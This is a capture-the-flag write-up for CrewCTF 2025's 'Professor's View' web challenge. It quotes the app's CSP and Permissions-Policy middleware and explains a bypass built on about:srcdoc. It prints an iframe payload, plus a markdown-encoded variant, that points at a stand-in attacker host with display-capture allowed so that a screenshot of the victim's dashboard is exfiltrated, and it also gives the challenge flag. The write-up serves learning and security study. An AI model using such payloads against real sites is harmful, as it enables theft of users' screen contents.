Room / Challenge: Professor’s View (Web)
Metadata
- Author:
jameskaois
- CTF: CrewCTF 2025
- Challenge: Professor’s View (web)
- Target / URL:
https://professors-view.chal.crewc.tf/
- Difficulty:
Hard
- Points:
477
- Tags: web, xss, sqli, auth, enumeration
- Date:
21-09-2025
Goal
We have to get the flag of the Professor which is showned in his dashboard.
My Solution
Here is the Source Code
Unlike Hate Notes and Love Notes, Professor’s View response is set:
Content-Security-Policy: script-src 'self' https://js.hcaptcha.com/1/api.js; style-src 'self'; img-src 'self'; font-src 'none'; connect-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self';
So from now on we can skip the XSS and CSS Exfiltration.
You can read full write-up of the author bubu
here
But I have the base idea:
The app has a route /profmeet
which should be used to create meetings or calls. That can explain why the Permissions-Policy
has self
value for camera
, display-capture
.
// Middleware to add security headers to all responses
app.use((req, res, next) => {
// Prevent any attack
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader(
'Content-Security-Policy',
"script-src 'self' https://js.hcaptcha.com/1/api.js; style-src 'self'; img-src 'self'; font-src 'none'; connect-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self';",
);
res.setHeader('Referrer-Policy', 'no-referrer');
res.setHeader(
'Permissions-Policy',
'accelerometer=(),attribution-reporting=(),autoplay=(),browsing-topics=(),camera=self,captured-surface-control=(),ch-device-memory=(),ch-downlink=(),ch-dpr=(),ch-ect=(),ch-prefers-color-scheme=(),ch-prefers-reduced-motion=(),ch-rtt=(),ch-save-data=(),ch-ua=(),ch-ua-arch=(),ch-ua-bitness=(),ch-ua-form-factors=(),ch-ua-full-version=(),ch-ua-full-version-list=(),ch-ua-mobile=(),ch-ua-model=(),ch-ua-platform=(),ch-ua-platform-version=(),ch-ua-wow64=(),ch-viewport-height=(),ch-viewport-width=(),ch-width=(),clipboard-read=(),clipboard-write=(),compute-pressure=(),cross-origin-isolated=(),deferred-fetch=(),digital-credentials-get=(),display-capture=self,encrypted-media=(),ethereum=(),fullscreen=(),gamepad=(),geolocation=(),gyroscope=(),hid=(),identity-credentials-get=(),idle-detection=(),join-ad-interest-group=(),keyboard-map=(),local-fonts=(),magnetometer=(),microphone=self,midi=(),otp-credentials=(),payment=(),picture-in-picture=(),private-aggregation=(),private-state-token-issuance=(),private-state-token-redemption=(),publickey-credentials-create=(),publickey-credentials-get=(),run-ad-auction=(),screen-wake-lock=(),serial=(),shared-storage=(),shared-storage-select-url=(),solana=(),storage-access=(),sync-xhr=(),unload=(),usb=(),window-management=(),xr-spatial-tracking=()',
);
res.setHeader('Cache-Control', 'no-store');
next();
});
There is a bypass method by using about:srcdoc
headerless document which do not produce HTTP requests and therefore lack response headers. The payload will be constructed like this: <iframe srcdoc="<iframe src='https://ATTACKER.com' allow='display-capture'></iframe>"></iframe>
.
In the markdown, that payload will become &[a[srcdoc=<iframe/src='https://ATTACKER.COM'/allow=display-capture> ](a)](a)
, because markdown blocks <
and >
. So we can make a complain with that payload and get the screenshot in our server.
You can view the server.js
created by bubu
here
We can get the flag: crew{permissions_are_fun_even_that_people_dont_really_care_1a3b7c9d}
Lessons Learned
- Markdown Exploit
- Beyond XSS Exploitation